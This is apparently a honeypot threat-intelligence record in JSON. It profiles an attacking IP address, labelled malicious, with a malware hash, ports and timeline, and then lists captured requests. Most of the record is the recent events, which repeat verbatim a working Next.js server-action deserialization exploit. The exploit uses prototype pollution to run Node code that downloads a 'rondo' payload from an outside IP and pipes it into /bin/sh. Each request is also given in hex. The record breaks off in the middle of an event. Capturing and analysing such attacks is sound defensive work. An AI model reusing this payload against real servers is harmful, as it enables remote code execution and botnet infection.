{"ip":"77.239.124.101","total_events":89,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"4 loader / command-injection payload(s)","confidence":"high","network_type":null,"why":["4 request(s) carried a loader or command-injection payload (wget, curl, tftp, busybox, chmod or a known bot name).","This is the same evidence that puts an address in the public exploiter feed, so the feed and this page now agree.","Payload evidence stands on its own: one request that fetches a botnet binary is exploitation, not probing.","Not in any known-scanner range.","Sent 87,848 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"87,848 bytes sent","bytes_sent":87848,"session_seconds":0,"persistent":false}},"first_seen":"2026-09-03T17:04:44","last_seen":"2026-09-08T00:02:08","events_24h":0,"events_7d":65,"geo":{"country_code":"US","country_name":"United States","region":"","city":"","lat":37.751,"lon":-97.822,"asn":198364,"org":"Banatsync Srl"},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[],"malware":[{"sha256":"21ff924eea5ff06c183ef84264a0eb0e0d5c5806be4c76f850dd33f0fffb4b48","family":"","vt_name":"rondo.qpu","malicious":0,"total":75,"vt_status":"known","delivery":"busybox-wget","url_path":"/UD/act?1","dest_port":5555,"hits":2,"last_seen":"2026-09-04 13:07:07"}],"top_ports":[{"port":3000,"proto":"tcp","label":"Web-alt","count":74},{"port":3001,"proto":"tcp","label":"","count":11},{"port":5555,"proto":"tcp","label":"","count":4}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[],"ja4h":["po11nn0700_fd4c1a4afae4","po11nn0700_2b0ad527c537"]},"fingerprint_peers":{"po11nn0700_2b0ad527c537":5,"po11nn0700_fd4c1a4afae4":2},"user_agents":["Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0"],"timeline":[{"date":"2026-09-03","count":24},{"date":"2026-09-04","count":14},{"date":"2026-09-05","count":6},{"date":"2026-09-06","count":20},{"date":"2026-09-07","count":22},{"date":"2026-09-08","count":3}],"recent_events":[{"timestamp":"2026-09-08T00:02:08","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=cc46ae8e20d4eca909484ce7c5a95452\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--cc46ae8e20d4eca909484ce7c5a95452\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--cc46ae8e20d4eca909484ce7c5a95452\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--cc46ae8e20d4eca909484ce7c5a95452\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--cc46ae8e20d4eca909484ce7c5a95452--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/_next/server","summary":"","payload_hex":"504f5354202f5f6e6578742f73657276657220485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d63633436616538653230643465636139303934383463653763356139353435320d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d63633436616538653230643465636139303934383463653763356139353435320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d63633436616538653230643465636139303934383463653763356139353435320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d63633436616538653230643465636139303934383463653763356139353435320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d63633436616538653230643465636139303934383463653763356139353435322d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"15114ce0-7d8a-4e3d-8589-b3fced32fdc3","seq":1,"duration_ms":0,"bytes_in":1002,"bytes_out":79},{"timestamp":"2026-09-08T00:01:53","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=9b9e94b44a80d6ba10ab8ee3b8dc8b92\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--9b9e94b44a80d6ba10ab8ee3b8dc8b92\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--9b9e94b44a80d6ba10ab8ee3b8dc8b92\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--9b9e94b44a80d6ba10ab8ee3b8dc8b92\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--9b9e94b44a80d6ba10ab8ee3b8dc8b92--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/api/route","summary":"","payload_hex":"504f5354202f6170692f726f75746520485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d39623965393462343461383064366261313061623865653362386463386239320d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d39623965393462343461383064366261313061623865653362386463386239320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d39623965393462343461383064366261313061623865653362386463386239320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d39623965393462343461383064366261313061623865653362386463386239320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d39623965393462343461383064366261313061623865653362386463386239322d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"a85bcb02-a7c7-4c3c-997b-bc4b1ecc9162","seq":1,"duration_ms":0,"bytes_in":999,"bytes_out":79},{"timestamp":"2026-09-08T00:01:30","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=42139a2a7904c7c94a9ecc53e7d3f13e\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--42139a2a7904c7c94a9ecc53e7d3f13e\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--42139a2a7904c7c94a9ecc53e7d3f13e\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--42139a2a7904c7c94a9ecc53e7d3f13e\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--42139a2a7904c7c94a9ecc53e7d3f13e--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/_next","summary":"","payload_hex":"504f5354202f5f6e65787420485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d34323133396132613739303463376339346139656363353365376433663133650d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d34323133396132613739303463376339346139656363353365376433663133650d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d34323133396132613739303463376339346139656363353365376433663133650d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d34323133396132613739303463376339346139656363353365376433663133650d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d34323133396132613739303463376339346139656363353365376433663133652d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"7e904007-8dbf-45a6-940e-b1267abccb7c","seq":1,"duration_ms":0,"bytes_in":996,"bytes_out":79},{"timestamp":"2026-09-07T22:14:13","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=359e6efbb69056d74f4463083cf790d0\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--359e6efbb69056d74f4463083cf790d0\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--359e6efbb69056d74f4463083cf790d0\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--359e6efbb69056d74f4463083cf790d0\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--359e6efbb69056d74f4463083cf790d0--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/api","summary":"","payload_hex":"504f5354202f61706920485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d33353965366566626236393035366437346634343633303833636637393064300d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d33353965366566626236393035366437346634343633303833636637393064300d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d33353965366566626236393035366437346634343633303833636637393064300d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d33353965366566626236393035366437346634343633303833636637393064300d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d33353965366566626236393035366437346634343633303833636637393064302d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"f9824129-4bb2-4f00-859a-34c6366ad31e","seq":1,"duration_ms":0,"bytes_in":994,"bytes_out":79},{"timestamp":"2026-09-07T22:05:29","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=44a2156595238d80bd79094822b1ebf4\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--44a2156595238d80bd79094822b1ebf4\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--44a2156595238d80bd79094822b1ebf4\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--44a2156595238d80bd79094822b1ebf4\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--44a2156595238d80bd79094822b1ebf4--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/api","summary":"","payload_hex":"504f5354202f61706920485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d34346132313536353935323338643830626437393039343832326231656266340d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d34346132313536353935323338643830626437393039343832326231656266340d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d34346132313536353935323338643830626437393039343832326231656266340d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d34346132313536353935323338643830626437393039343832326231656266340d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d34346132313536353935323338643830626437393039343832326231656266342d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"a10ce4d6-1467-41b8-9af9-b8f89cf02f8b","seq":1,"duration_ms":0,"bytes_in":994,"bytes_out":79},{"timestamp":"2026-09-07T22:04:51","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=fdf15f275143d4bbf895e2346c3122de\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--fdf15f275143d4bbf895e2346c3122de\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--fdf15f275143d4bbf895e2346c3122de\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--fdf15f275143d4bbf895e2346c3122de\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--fdf15f275143d4bbf895e2346c3122de--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/api/route","summary":"","payload_hex":"504f5354202f6170692f726f75746520485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d66646631356632373531343364346262663839356532333436633331323264650d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d66646631356632373531343364346262663839356532333436633331323264650d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d66646631356632373531343364346262663839356532333436633331323264650d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d66646631356632373531343364346262663839356532333436633331323264650d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d66646631356632373531343364346262663839356532333436633331323264652d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"d53bde38-d5bb-4a96-9870-60d532ed9349","seq":1,"duration_ms":0,"bytes_in":999,"bytes_out":79},{"timestamp":"2026-09-07T20:50:06","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=9f0e93a41885204627352f0e393056ac\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--9f0e93a41885204627352f0e393056ac\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--9f0e93a41885204627352f0e393056ac\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--9f0e93a41885204627352f0e393056ac\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--9f0e93a41885204627352f0e393056ac--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/_next","summary":"","payload_hex":"504f5354202f5f6e65787420485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d39663065393361343138383532303436323733353266306533393330353661630d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d39663065393361343138383532303436323733353266306533393330353661630d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d39663065393361343138383532303436323733353266306533393330353661630d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d39663065393361343138383532303436323733353266306533393330353661630d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d39663065393361343138383532303436323733353266306533393330353661632d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"071fa0fb-49dd-4854-bbd6-59786163cfe6","seq":1,"duration_ms":0,"bytes_in":996,"bytes_out":79},{"timestamp":"2026-09-07T20:49:54","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=ae3ecd7a1b9e77f90b0ec12e2c17c308\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--ae3ecd7a1b9e77f90b0ec12e2c17c308\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--ae3ecd7a1b9e77f90b0ec12e2c17c308\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--ae3ecd7a1b9e77f90b0ec12e2c17c308\r\nContent-Disposition: form-data; 